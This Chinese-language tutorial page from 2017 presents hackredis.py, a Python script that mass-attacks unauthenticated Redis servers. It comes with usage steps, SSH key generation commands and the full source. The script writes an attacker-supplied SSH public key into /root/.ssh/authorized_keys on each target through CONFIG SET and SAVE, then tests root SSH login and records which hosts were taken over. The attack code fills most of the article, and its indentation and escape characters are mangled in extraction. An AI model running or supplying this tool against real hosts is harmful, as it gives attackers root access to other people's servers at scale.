python脚本实现Redis未授权批量提权

 更新时间:2017年09月19日 10:47:12   作者:secange  
这篇文章主要给大家介绍了关于利用python脚本实现redis未授权批量提权的相关资料,文中通过示例代码介绍的非常详细,对大家的学习或者工作具有一定的参考学习价值,需要的朋友们下面随着小编来一起学习学习吧。

前言

本文主要给大家介绍了关于redis未授权批量提权的相关内容,分享出来供大家参考学习,下面话不多说了,来一起看看详细的介绍吧。

安装依赖

 sudo easy_install redis

使用

redis python hackredis.py         
usage: hackredis.py [-h] [-l IPLIST] [-p PORT] [-r ID_RSAFILE] [-sp SSH_PORT]

For Example:
-----------------------------------------------------------------------------
python hackredis.py -l ip.txt -p 6379 -r foo.txt -sp 22

optional arguments:
 -h, --help  show this help message and exit
 -l IPLIST  the hosts of target
 -p PORT  the redis default port
 -r ID_RSAFILE the ssh id_rsa file you generate
 -sp SSH_PORT the ssh port

首先需要ssh密钥:

ssh-keygen -t rsa
 cp ~/.ssh/id_rsa.pub /tmp/foo.txt

之后将ip列表填入ip.txt,然后就可以跑了。 成功的将会输出到success.txt,执行成功但是ssh连接失败的会存储在unconnect.txt,操作失败的会存储在fail.txt。

#!/usr/bin/python
#coding:utf-8
#############################################################
## @file hackredis.py         ##
## @date 2015-12-11          ##
## @author evi1cg           ##
#############################################################
import redis
import argparse
import textwrap
import sys
import pexpect
def getargs():
 parser = argparse.ArgumentParser(prog='hackredis.py', formatter_class=argparse.RawTextHelpFormatter, description=textwrap.dedent('''/
 For Example:
 -----------------------------------------------------------------------------
 python hackredis.py -l ip.txt -p 6379 -r foo.txt -sp 22'''))
 parser.add_argument('-l', dest='iplist', type=str, help='the hosts of target')
 parser.add_argument('-p', dest='port', default=6379, type=int, help='the redis default port')
 parser.add_argument('-r', dest='id_rsafile', type=str, help='the ssh id_rsa file you generate')
 parser.add_argument('-sp', dest='ssh_port', type=int,default=22, help='the ssh port')
 if(len(sys.argv[1:]) / 2 != 4):
 sys.argv.append('-h')
 return parser.parse_args()

def hackredis(host,port):
 ck = 0
 try:
 print "[*] Attacking ip:%s"%host
 r =redis.StrictRedis(host=host,port=port,db=0,socket_timeout=2)
 r.flushall
 r.set('crackit',foo)
 r.config_set('dir','/root/.ssh/')
 r.config_set('dbfilename','authorized_keys')
 r.save()
 ck =1
 except:
 print "/033[1;31;40m[-]/033[0m Something wrong with %s"%host
 write(host,2)
 ck =0
 if ck == 1:
 check(host)
 else:
 pass

def check(host):
 print '/033[1;33;40m[*]/033[0m Check connecting... '
 try:
 ssh = pexpect.spawn('ssh root@%s -p %d' %(host,ssh_port))
 i = ssh.expect('[#/$]',timeout=2)
 if i == 0:
  print "/033[1;34;40m[+]/033[0m Success !"
  write(host,1)
 else:
  pass
 except:
 print "/033[1;32;40m[-]/033[0m Failed to connect !"
 write(host,3)
def write(host,suc):
 if suc == 1:
 filesname = 'success.txt'
 elif suc ==2:
 filesname = 'fail.txt'
 elif suc ==3:
 filesname = 'unconnect.txt'
 else:
 pass
 file_object = open(filesname,'a')
 file_object.write(host+'/n')
 file_object.close()


def main():
 global foo,ssh_port
 paramsargs = getargs()
 try:
 hosts = open(paramsargs.iplist,"r")
 except(IOError):
 print "Error: Check your hostfile path/n"
 sys.exit(1) 
 port = paramsargs.port
 ssh_port = paramsargs.ssh_port
 try:
 foo = '/n/n/n'+open(paramsargs.id_rsafile,"r").readline()+'/n/n/n'
 except(IOError):
 print "Error: Check your wordlist path/n"
 sys.exit(1)  
 ips = [p.replace('/n','') for p in hosts]
 for ip in ips:
 hackredis(ip.strip(),port)


if __name__ == "__main__":
 main()

总结

以上就是这篇文章的全部内容了,希望本文的内容对大家的学习或者工作能带来一定的帮助,如果有疑问大家可以留言交流,谢谢大家对脚本之家的支持。

相关文章

  • Redis集群节点通信过程/原理流程分析

    Redis集群节点通信过程/原理流程分析

    这篇文章主要介绍了Redis集群节点通信过程/原理,详细介绍了Cluster(集群)的节点通信的流程,本文给大家介绍的非常详细,对大家的学习或工作具有一定的参考借鉴价值,需要的朋友可以参考下
    2022-03-03
  • Redis集群增加节点与删除节点的方法详解

    Redis集群增加节点与删除节点的方法详解

    这篇文章主要给大家介绍了关于Redis集群增加节点与删除节点的相关资料,文中通过示例代码介绍的非常详细,对大家学习或者使用Redis具有一定的参考学习价值,需要的朋友们下面来一起学习学习吧
    2019-09-09
  • redis专属链表ziplist的使用

    redis专属链表ziplist的使用

    本文主要介绍了redis专属链表ziplist的使用,文中通过示例代码介绍的非常详细,具有一定的参考价值,感兴趣的小伙伴们可以参考一下
    2021-12-12
  • Linux上安装Redis详细教程

    Linux上安装Redis详细教程

    这篇文章主要给大家详细介绍了在Linux上安装Redis详细教程,文中有详细的代码示例和安装步骤,对我们学习安装redis有一定的帮助,需要的朋友可以参考下
    2023-07-07
  • Redis数据结构原理浅析

    Redis数据结构原理浅析

    这篇文章主要为大家介绍了Redis数据结构原理浅析,有需要的朋友可以借鉴参考下,希望能够有所帮助,祝大家多多进步,早日升职加薪
    2023-02-02
  • Redis优化token校验主动失效的实现方案

    Redis优化token校验主动失效的实现方案

    在普通的token颁发和校验中 当用户发现自己账号和密码被暴露了时修改了登录密码后旧的token仍然可以通过系统校验直至token到达失效时间,所以系统需要token主动失效的一种能力,所以本文给大家介绍了Redis优化token校验主动失效的实现方案,需要的朋友可以参考下
    2024-03-03
  • 解决redis服务启动失败的问题

    解决redis服务启动失败的问题

    今天小编就为大家分享一篇解决redis服务启动失败的问题,具有很好的参考价值,希望对大家有所帮助。一起跟随小编过来看看吧
    2018-05-05
  • 详解redis中的锁以及使用场景

    详解redis中的锁以及使用场景

    这篇文章主要介绍了详解redis中的锁以及使用场景,文中通过示例代码介绍的非常详细,对大家的学习或者工作具有一定的参考学习价值,需要的朋友们下面随着小编来一起学习学习吧
    2020-12-12
  • jwt+redis实现登录认证的示例代码

    jwt+redis实现登录认证的示例代码

    在登录业务代码中,当用户登录成功时,生成一个登录凭证存储到redis中,本文主要介绍了jwt+redis实现登录认证的示例代码,具有一定的参考价值,感兴趣的可以了解一下
    2024-03-03
  • 详解Redis中的List类型

    详解Redis中的List类型

    这篇文章主要介绍了Redis中的List类型,本文给大家介绍的非常详细,对大家的学习或工作具有一定的参考借鉴价值,需要的朋友可以参考下
    2020-11-11

最新评论